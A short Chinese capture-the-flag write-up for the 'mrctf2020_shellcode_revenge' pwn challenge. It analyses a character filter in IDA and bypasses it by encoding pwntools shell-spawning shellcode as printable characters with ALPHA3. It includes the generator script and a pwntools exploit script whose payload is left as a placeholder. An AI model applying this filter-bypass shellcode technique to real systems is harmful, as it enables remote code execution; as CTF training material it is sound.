下载附件,checksec一下;
存在可读可写可执行的段;
看一下IDA pro的汇编;
和先前的题目类似,先read也给0x400bytes的字符串,然后compare一下eax和0;
jg表示jump if greater,如果eax>0则跳转,否则eax为0,跳到另一个地址;
接下来看到很多判断语句,截取其中一部分进行分析;
这里比较al和`的大小,jle表示jump if less or equal,即小于等于;
如果al<=60h,则跳转到11DA,如果al<=7Ah,则跳转到1236;
同理分析其他的判断语句,最后得到结果:
输入0x30-0x5f以及0x61-0x7f才能不被过滤;
需要利用这些字符去构造shellcode;
这里就要用到一个工具ALPHA3,git clone https://github.com/TaQini/alpha3.git
先写一个shellcode.py脚本,用于生成普通的shellcode;
from pwn import *
context.arch="amd64"
f = open('sc.bin','wb')
f.write(asm(shellcraft.sh()))
f.close()
执行后,用alpha3.py生成可见字符shellcode;
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
执行成功将会返回可见字符shellcode,再写个exploit.py,把shellcode打进去就好了;
from pwn import *
p = process("./mrctf2020_shellcode_revenge")
payload = "your_shellcode“
p.sendafter('magic!',payload)
p.interactive()
连buu,打过去,拿flag;